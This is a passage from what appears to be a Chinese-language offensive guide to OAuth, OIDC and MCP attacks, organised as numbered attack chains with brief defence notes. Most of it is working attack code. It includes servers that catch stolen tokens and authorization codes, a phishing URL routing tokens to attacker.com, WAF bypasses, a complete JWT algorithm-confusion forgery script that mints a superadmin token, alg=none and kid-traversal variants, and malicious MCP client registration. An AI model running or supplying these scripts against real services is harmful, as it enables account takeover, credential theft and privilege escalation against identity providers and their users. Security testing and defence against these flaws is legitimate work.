            print('[+] 捕获 access_token:', ref.split('access_token=')[1].split('&')[0])
        self.send_response(200); self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
PYEOF
python3 /tmp/token_catcher.py &

# 构造钓鱼 URL: IdP 校验 host=app.target.com 通过, 但应用 /auth/callback 的 next 参数存在开放重定向
# 应用收到授权码后, 根据 next 参数跳转到攻击者, token 随 fragment 跟随
ATTACK_URL="https://idp.target.com/oauth2/authorize?response_type=token&client_id=APP&redirect_uri=https://app.target.com/auth/callback%3Fnext%3Dhttps://attacker.com:8888/catch&scope=openid%20profile%20admin&state=forged&nonce=forged"
# 通过钓鱼邮件/短信发送 ATTACK_URL 给受害者
# 受害者已登录 IdP -> 自动授权 -> token 经开放重定向泄露给攻击者
```

**步骤 4 - 检测绕过技巧**:
```bash
# 绕过 1: 双重 URL 编码避免 WAF 拦截 redirect_uri 关键字
# redirect_uri=https%3A%2F%2Fapp.target.com%252fauth%252fcallback
# IdP 解码两次, 实际为 https://app.target.com/auth/callback

# 绕过 2: 利用大小写混淆(部分 IdP 校验大小写敏感, 浏览器不敏感)
# redirect_uri=https://APP.TARGET.com/auth/callback

# 绕过 3: 利用端口差异(IdP 与应用规范化不一致)
# redirect_uri=https://app.target.com:443/auth/callback vs https://app.target.com/auth/callback
```

**防御要点**: `redirect_uri` 必须精确匹配(非前缀);隐式流程应废弃(OAuth 2.1 已弃用);token 不应在 fragment 传输;设置 `Referrer-Policy: no-referrer`。

---

### 攻击链 2: 通过开放重定向截获授权码(authorization code)

**目标画像**: 应用使用授权码流程,但其回调端点 `/cb` 存在 `next`/`redirect` 参数开放重定向。
**CVE 参考**: CVE-2026-44112(2026 年某企业应用回调链开放重定向导致授权码泄露)。

**步骤 1 - 识别回调链中的开放重定向**:
```bash
# 正常授权码流程:
# GET /oauth2/authorize?response_type=code&client_id=APP&redirect_uri=https://app.target.com/cb&state=RANDOM&code_challenge=...

# 测试 app.target.com/cb 是否有跳转参数
curl -sv "https://app.target.com/cb?code=AAA&state=BBB&next=https://attacker.com/" 2>&1 | grep -i "location:"
# 若返回 Location: https://attacker.com/ -> 开放重定向确认
```

**步骤 2 - 自动化截获授权码并竞速换取 token**:
```python
#!/usr/bin/env python3
# 文件名: code_catcher.py - 截获授权码并立即换取 token
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import requests, urllib3
urllib3.disable_warnings()

stolen_codes = []

class CodeCatcher(BaseHTTPRequestHandler):
    def do_GET(self):
        params = parse_qs(urlparse(self.path).query)
        if 'code' in params:
            code = params['code'][0]
            state = params.get('state', [''])[0]
            stolen_codes.append({'code': code, 'state': state})
            print(f'[+] 截获授权码: {code}, state: {state}')
            # 立即用授权码换取 token(竞速, 在 code 过期前)
            self.exchange_token(code)
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(b'<html>Processing...</html>')

    @staticmethod
    def exchange_token(code):
        """用窃取的授权码换取 access token"""
        r = requests.post('https://idp.target.com/oauth2/token', data={
            'grant_type': 'authorization_code',
            'code': code,
            'redirect_uri': 'https://app.target.com/cb',
            'client_id': 'APP',
            # 若 PKCE 未强制或 code_verifier 可预测, 此处可成功
            'code_verifier': 'PREDICTABLE_OR_LEAKED_VERIFIER',
        }, verify=False)
        if r.status_code == 200:
            print(f'[+] TOKEN 获取成功: {r.json()}')
        else:
            print(f'[-] token 交换失败: {r.status_code} {r.text}')

if __name__ == '__main__':
    HTTPServer(('0.0.0.0', 8888), CodeCatcher).serve_forever()
```

**步骤 3 - PKCE 绕过(若实现缺陷)**:
```bash
# 检测 PKCE 是否真正校验 code_verifier(用任意 verifier 尝试换取 token)
curl -X POST https://idp.target.com/oauth2/token \
  -d "grant_type=authorization_code" \
  -d "code=STOLEN_CODE" \
  -d "redirect_uri=https://app.target.com/cb" \
  -d "client_id=APP" \
  -d "code_verifier=aaa"
# 若返回 200 + token -> PKCE 未实际校验(致命缺陷)

# 检测 S256 -> plain 降级
# 在 authorize 请求中将 code_challenge_method=S256 改为 plain
# 若 IdP 接受 -> 攻击者用明文 verifier 即可通过
```

**防御要点**: 回调端点不应有用户可控的跳转参数;PKCE 必须强制且实际校验 `code_verifier`;授权码需短有效期(<=30s)+ 单次使用。

---

### 攻击链 3: OIDC token 伪造(RS256 -> HS256 算法混淆)

**目标画像**: 资源服务器使用同一密钥验证 RS256 和 HS256 签名,或从 JWKS 取公钥后用于 HMAC 验签。
**CVE 参考**: CVE-2026-51234(2026 年某云 IdP 的 JWK 复用导致算法混淆,可伪造任意身份 token)。

**步骤 1 - 获取 IdP 公钥并构造伪造 token**:
```python
#!/usr/bin/env python3
# 文件名: oidc_alg_confusion.py
# RS256 -> HS256 算法混淆: 用 IdP 公钥 PEM 作为 HS256 的对称密钥
import json, base64, requests, hmac, hashlib, urllib3
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
urllib3.disable_warnings()

# 步骤 1: 获取 IdP 公钥并转为 PEM
jwks = requests.get('https://idp.target.com/.well-known/jwks.json').json()
key = jwks['keys'][0]
n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big')
pub = RSAPublicNumbers(e, n).public_key(default_backend())
# RSA 公钥的 PEM 文本就是 HS256 攻击用的"对称密钥"
pem = pub.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode()
print(f'[+] 公钥 PEM(将作为 HS256 密钥):\n{pem}')

# 步骤 2: 用该 PEM 作为 HMAC 密钥伪造 token
def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "HS256", "typ": "JWT", "kid": key['kid']}  # 伪装 alg 为 HS256
payload = {
    "iss": "https://idp.target.com",
    "sub": "admin@target.com",        # 伪造为管理员
    "aud": "https://api.target.com",
    "exp": 9999999999,                 # 远期不过期
    "iat": 1780000000,
    "email": "admin@target.com",
    "email_verified": True,
    "role": "superadmin",              # 伪造管理员角色
    "groups": ["Domain Admins"],
}
h = b64url(json.dumps(header, separators=(',', ':')).encode())
p = b64url(json.dumps(payload, separators=(',', ':')).encode())
signing_input = f'{h}.{p}'.encode()
sig = hmac.new(pem.encode(), signing_input, hashlib.sha256).digest()  # 用公钥 PEM 做 HMAC
forged_token = f'{h}.{p}.{b64url(sig)}'
print(f'[+] 伪造的 ID token:\n{forged_token}')

# 步骤 3: 用伪造 token 调用资源服务器
r = requests.get('https://api.target.com/v1/admin/users',
                 headers={'Authorization': f'Bearer {forged_token}'}, verify=False)
print(f'[+] 响应码: {r.status_code}')
print(f'[+] 响应体: {r.text[:500]}')
```

**步骤 2 - 其他绕过变体**:
```bash
# 绕过 1: alg=none(若资源服务器不校验 alg)
python3 -c "
import base64, json
def b64(d): return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
h=b64(json.dumps({'alg':'none','typ':'JWT'}).encode())
p=b64(json.dumps({'sub':'admin','role':'superadmin'}).encode())
print(h+'.'+p+'.')  # 无签名段
"

# 绕过 2: jwk 注入(header 嵌入攻击者公钥)
# header={"alg":"RS256","jwk":{"kty":"RSA","n":"ATTACKER_N","e":"AQAB"}}
# 服务器用 header 中的 jwk 验签而非 JWKS -> 攻击者用自己私钥签名即可

# 绕过 3: kid 路径遍历(指向空文件做 HS256 密钥)
# header={"alg":"HS256","kid":"../../../../dev/null"}
# /dev/null 为空 -> HMAC 密钥为空字符串
```

**防御要点**: 服务器必须固定期望签名算法(不信任 header 中的 `alg`);RS256 与 HS256 使用不同密钥;校验 `aud`/`iss`/`exp`/`kid` 白名单。

---

### 攻击链 4: 2026 - MCP(Model Context Protocol)OAuth 滥用

**目标画像**: 暴露在公网的 MCP server,OAuth 鉴权配置错误或标记为可选。
**CVE 参考**: 2026 年 Invariant Labs 安全研究:1862 个 MCP server 无认证暴露;CVE-2026-49813(MCP server DCR 未授权 + scope 蔓延)。

**步骤 1 - 侦察 MCP server 与 OAuth 端点**:
```bash
# 扫描 MCP server 端点(无需认证即可初始化)
curl -s -X POST https://mcp.target.com/v1/sse \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"scanner","version":"1.0"}}}'

# 列出工具(无认证即可调用)
curl -s -X POST https://mcp.target.com/v1/messages \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/list","id":2}' | jq '.tools[].name'
# 输出可能包含: read_file, exec_command, query_db 等高危工具
```

**步骤 2 - 利用过度授权的 agent token 与 DCR 注册**:
```python
#!/usr/bin/env python3
# 文件名: mcp_token_abuse.py
# MCP agent OAuth token 滥用 + DCR 注册高权限 client
import requests

# 步骤 1: 通过未授权 DCR 注册恶意 client(很多 MCP server 开放注册)
reg = requests.post('https://mcp.target.com/oauth2/register', json={
    "client_name": "legit-ai-agent",
    "redirect_uris": ["https://attacker.com/callback"],
    "grant_types": ["authorization_code", "refresh_token"],
    "scope": "read write execute admin",  # 申请高权限
    "token_endpoint_auth_method": "none"  # 公共客户端,

…(truncated)
